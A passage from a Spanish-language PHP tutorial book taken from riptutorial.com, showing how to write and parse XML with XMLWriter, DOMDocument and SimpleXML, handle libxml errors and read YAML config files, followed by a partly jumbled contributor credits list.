A continuación abra el archivo en el que desea escribir. Por ejemplo, para escribir en
/var/www/example.com/xml/output.xml , use:
$xml->openUri('file:///var/www/example.com/xml/output.xml');
$xml->startDocument('1.0', 'utf-8');
$xml->writeElement('foo', 'bar');
<foo>bar</foo>
Si necesita algo un poco más complejo que simplemente nodos con valores simples, también
puede "iniciar" un elemento y agregarle atributos antes de cerrarlo:
$xml->startElement('foo');
$xml->writeAttribute('bar', 'baz');
$xml->writeCdata('Lorem ipsum');
$xml->endElement();
https://riptutorial.com/es/home 564
De manera similar a SimpleXML, puede usar DOMDocument para analizar XML desde una
cadena o desde un archivo XML
1. De una cuerda
2. De un archivo
Ejemplo de análisis
$books = $doc->getElementsByTagName('book');
foreach ($books as $book) {
$title = $book->getElementsByTagName('name')->item(0)->nodeValue;
$price = $book->getElementsByTagName('price')->item(0)->nodeValue;
$id = $book->getElementsByTagName('id')->item(0)->nodeValue;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}
Para crear un XML usando DOMDocument, básicamente, necesitamos crear todas las etiquetas y
atributos usando los createElement() y createAttribute() y ellos crean la estructura XML con
appendChild() .
https://riptutorial.com/es/home 565
El siguiente ejemplo incluye etiquetas, atributos, una sección CDATA y un espacio de nombres
diferente para la segunda etiqueta:
//create a CDATA section (that is another DOMNode instance) and put it inside the name tag
$name_cdata = $dom->createCDATASection('PHP - Advanced');
$name_2->appendChild($name_cdata);
$price_2 = $dom->createElementNS($namespace, 'ns:price', '$25.00');
$id_2 = $dom->createElementNS($namespace, 'ns:id', '2');
$dom->appendChild($books);
https://riptutorial.com/es/home 566
</book>
<ns:book>
<ns:name><![CDATA[PHP - Advanced]]></ns:name>
<ns:price>$25.00</ns:price>
<ns:id>2</ns:id>
</ns:book>
</books>
1. De una cuerda
$xml_obj = simplexml_load_string($string);
2. De un archivo
$xml_obj = simplexml_load_file('books.xml');
Ejemplo de análisis
$xml = simplexml_load_string($xml_string);
$books = $xml->book;
foreach ($books as $book) {
$id = $book->id;
$title = $book->name;
$price = $book->price;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}
https://riptutorial.com/es/home 567
Aprovechando XML con la biblioteca SimpleXML de PHP
SimpleXML es una biblioteca potente que convierte cadenas XML en un objeto PHP fácil de usar.
Para comenzar, necesitamos leer nuestros datos en SimpleXML. Podemos hacer esto de 3
maneras diferentes. En primer lugar, podemos cargar nuestros datos desde un nodo DOM.
$xmlElement = simplexml_import_dom($domNode);
$xmlElement = simplexml_load_file($filename);
Ya sea que haya elegido cargar desde un elemento DOM , desde un archivo o desde una cadena
, ahora se queda con una variable SimpleXMLElement llamada $xmlElement . Ahora, podemos
empezar a utilizar nuestro XML en PHP.
https://riptutorial.com/es/home 568
La forma más sencilla de acceder a los datos en nuestro objeto SimpleXMLElement es llamar
directamente a las propiedades . Si queremos acceder a nuestro primer nombre de libro,
StackOverflow SimpleXML Example , entonces podemos acceder a él como se muestra a
continuación.
echo $xmlElement->book->bookName;
En este punto, SimpleXML asumirá que, como no le hemos dicho explícitamente qué libro
queremos, que queremos que sea el primero. Sin embargo, si decidimos que no queremos el
primero, sino que queremos Another SimpleXML Example , entonces podemos acceder a él como se
muestra a continuación.
echo $xmlElement->book[1]->bookName;
Vale la pena señalar que usar [0] funciona igual que no usarlo, por lo que
$xmlElement->book
$xmlElement->book[0]
Hay muchas razones por las que puede desear pasar por XML , como por ejemplo que tiene
varios artículos, libros en nuestro caso, que nos gustaría mostrar en una página web. Para esto,
podemos usar un bucle foreach o un estándar para el bucle , aprovechando la función de conteo
de SimpleXMLElement. .
$count = $xmlElement->count();
for ( $i=0; $i<$count; $i++ ) {
echo $xmlElement->book[$i]->bookName;
}
Errores de manejo
Ahora que hemos llegado hasta ahora, es importante que nos demos cuenta de que solo somos
seres humanos, y es probable que encontremos un error con el tiempo, especialmente si jugamos
con diferentes archivos XML todo el tiempo. Y así, vamos a querer manejar esos errores.
Considera que hemos creado un archivo XML. Notará que mientras este XML es muy similar al
que teníamos anteriormente, el problema con este archivo XML es que la etiqueta de cierre final
https://riptutorial.com/es/home 569
es / doc en lugar de / document.
libxml_use_internal_errors(true);
$xmlElement = simplexml_load_file($file);
if ( $xmlElement === false ) {
$errors = libxml_get_errors();
foreach ( $errors as $thisError ) {
switch ( $thisError->level ) {
case LIBXML_ERR_FATAL:
echo "FATAL ERROR: ";
break;
case LIBXML_ERR_ERROR:
echo "Non Fatal Error: ";
break;
case LIBXML_ERR_WARNING:
echo "Warning: ";
break;
}
echo $thisError->code . PHP_EOL .
'Message: ' . $thisError->message . PHP_EOL .
'Line: ' . $thisError->line . PHP_EOL .
'Column: ' . $thisError->column . PHP_EOL .
'File: ' . $thisError->file;
}
libxml_clear_errors();
} else {
echo 'Happy Days';
}
FATAL ERROR: 76
Message: Opening and ending tag mismatch: document line 2 and doc
Line: 13
Column: 10
File: filepath/filename.xml
Sin embargo, tan pronto como solucionamos este problema, se nos presentan los "Días felices".
https://riptutorial.com/es/home 570
Capítulo 109: YAML en PHP
Examples
Instalación de la extensión YAML
YAML no viene con una instalación estándar de PHP, en su lugar, debe instalarse como una
extensión PECL. En Linux / UNIX se puede instalar con un simple
Tenga en cuenta que el paquete libyaml-dev debe estar instalado en el sistema, ya que el
paquete PECL es simplemente una envoltura alrededor de las llamadas libYAML.
YAML proporciona una manera de almacenar datos estructurados. Los datos pueden ser un
simple conjunto de pares nombre-valor o un complejo de datos jerárquicos con valores, incluso
siendo matrices.
database:
driver: mysql
host: database.mydomain.com
port: 3306
db_name: sample_db
user: myuser
password: Passw0rd
debug: true
country: us
Digamos, se guarda como config.yaml . Luego, para leer este archivo en PHP se puede usar el
siguiente código:
$config = yaml_parse_file('config.yaml');
print_r($config);
Array
(
[database] => Array
(
[driver] => mysql
https://riptutorial.com/es/home 571
[host] => database.mydomain.com
[port] => 3306
[db_name] => sample_db
[user] => myuser
[password] => Passw0rd
)
[debug] => 1
[country] => us
)
Ahora los parámetros de configuración se pueden usar simplemente usando elementos de matriz:
$dbConfig = $config['database'];
$connectString = $dbConfig['driver']
. ":host={$dbConfig['host']}"
. ":port={$dbConfig['port']}"
. ":dbname={$dbConfig['db_name']}"
. ":user={$dbConfig['user']}"
. ":password={$dbConfig['password']}";
$dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']);
https://riptutorial.com/es/home 572
Creditos
S.
Capítulos Contributors
No
6 APCu Joe
Aprendizaje
7 georoot, Gerard Roche, tyteen4a03
automático
https://riptutorial.com/es/home 573
Mulla, miken32, Milan Chheda, Mohyaddin Alaoddin,
Munesawagi, nalply, Nathaniel Ford, noufalcep, Perry,
Proger_Cbsk, rap-2-h, Raptor, Ravi Hirani, Rizier123, Robbie
Averill, Ruslan Bes, RyanNerd, SaitamaSama, Siguza, SOFe,
Sourav Ghosh, Sumurai8, Surabhil Sergy, tereško, Tgr,
Thibaud Dauce, Thijs Riezebeek, Thlbaut, tpunt, tyteen4a03,
Ultimater, unarist, Vic, vijaykumar, Yury Fedorov
Asegurate
9 yesitsme
recuerdame
BC Math
11 Sebastian Brosch, SOFe, tyteen4a03
(calculadora binaria)
https://riptutorial.com/es/home 574
URL
Cómo detectar la
21 dirección IP del Erki A, mnoronha, RamenChef
cliente
Compilar
22 4444, Sherif, tyteen4a03
extensiones de PHP
Contribuyendo al
25 Gordon, salathe, Thomas Gerot, tpunt
Manual de PHP
Contribuyendo al
26 miken32, tpunt, undefined
PHP Core
Convenciones de
27 Abhi Beckert, Ernestas Stankevičius, Quill, signal
codificación
Datos de solicitud de
31 cjsimon, franga2000, Marten Koetsier, miken32, mnoronha
lectura
Despliegue de
33 georoot
Docker
Ejecutando sobre Alok Patel, Andreas, Antony D'Andrea, Arun3x3, caoglish, Matt
35
una matriz S, Maxime, mnoronha, Ruslan Bes, RyanNerd, SOFe
https://riptutorial.com/es/home 575
36 Enchufes 4444, bwoebi, Filip Š, SOFe, tyteen4a03
Estructuras de datos
41 RamenChef, Sherif, tyteen4a03
SPL
Extensión de
44 mnoronha, RamenChef, SaitamaSama, Sunitrams'
roscado múltiple
Filtros y funciones Abhishek Gurjar, Exagone313, Ivijan Stefan Stipić, John Conde
45
de filtro , matiaslauriti, RamenChef, Robbie Averill, samayo, tyteen4a03
https://riptutorial.com/es/home 576
dependencia del Daniel Waghorn, DJ Sipe, Dov Benyomin Sohacheski, Félix
compositor Gagnon-Grenier, hspaans, icc97, John Slegers, kelunik, Matt S,
miken32, Moppo, Muhammad Sumon Molla Selim, Paulpro,
Pawel Dubiel, RamenChef, Robbie Averill, Safoor Safdar,
SaitamaSama, salathe, Sam Dufel, Sumurai8, Test, Thijs
Riezebeek, tyteen4a03, Ziumin
Instalación de un
Ani Menon, bwoebi, Jhollman, RamenChef, RiggsFolly,
54 entorno PHP en
Saurabh, Woliul
Windows
Instalación en
55 A.L, Adam, miken32, Pablo Martinez, rfsbsb, tyteen4a03
entornos Linux / Unix
https://riptutorial.com/es/home 577
Nate, noufalcep, Ortomala Lokni, Petr R., rap-2-h, Robin Panta,
roman reign, Ruslan Bes, SaitamaSama, Script_Coded, SOFe,
StasM, SuperBear, ʇolɐǝz ǝɥʇ qoq, Tom K, tpunt, Tyler
Sebastian, tyteen4a03, w1n5rx, wogsland
Manejo de
baldrs, F. Müller, Félix Gagnon-Grenier, mnoronha, Robbie
64 excepciones y
Averill
reporte de errores
Manipulación De
65 Mike, mnoronha
Cabeceras
PHP incorporado en
71 Paulo Lima
el servidor
https://riptutorial.com/es/home 578
php mysqli filas
afectadas devuelve
73 0 cuando debería John
devolver un entero
positivo
Primer de carga
75 bishop, br3nt, Jens A. Koch
automática
Problemas de
malabarismo de tipo
76 GordonM, miken32, tyteen4a03
y comparación no
estricta
Procesamiento de
77 Ormoz, RamenChef, Rick James, SOFe, tyteen4a03
imágenes con GD
Procesando
AbcAeffchen, Anees Saban, David, Fathan, Matt S, mnoronha,
78 múltiples matrices
noufalcep, SOFe, Yury Fedorov
juntos
https://riptutorial.com/es/home 579
Recopilación de
85 errores y EatPeanutButter, Thamilan, u_mulder
advertencias.
86 Referencias bwoebi
Serialización de
90 Ali MasudianPour, Matt S, Mohamed Belal
objetos
Sintaxis alternativa
bwoebi, JayIsTooCommon, Machavity, Marten Koetsier,
94 para estructuras de
matiaslauriti, Shane, Sverri M. Olsen, Xenon
control
Soporte Unicode en
95 Code4R7, John Slegers, mnoronha, tyteen4a03
PHP
https://riptutorial.com/es/home 580
theomessin, tyteen4a03, u_mulder
Variables
106 Akshay Khale, JustCarty, mnoronha, RamenChef, tyteen4a03
Superglobales PHP
https://riptutorial.com/es/home 581
SZenC, Vadim Kokin
https://riptutorial.com/es/home 582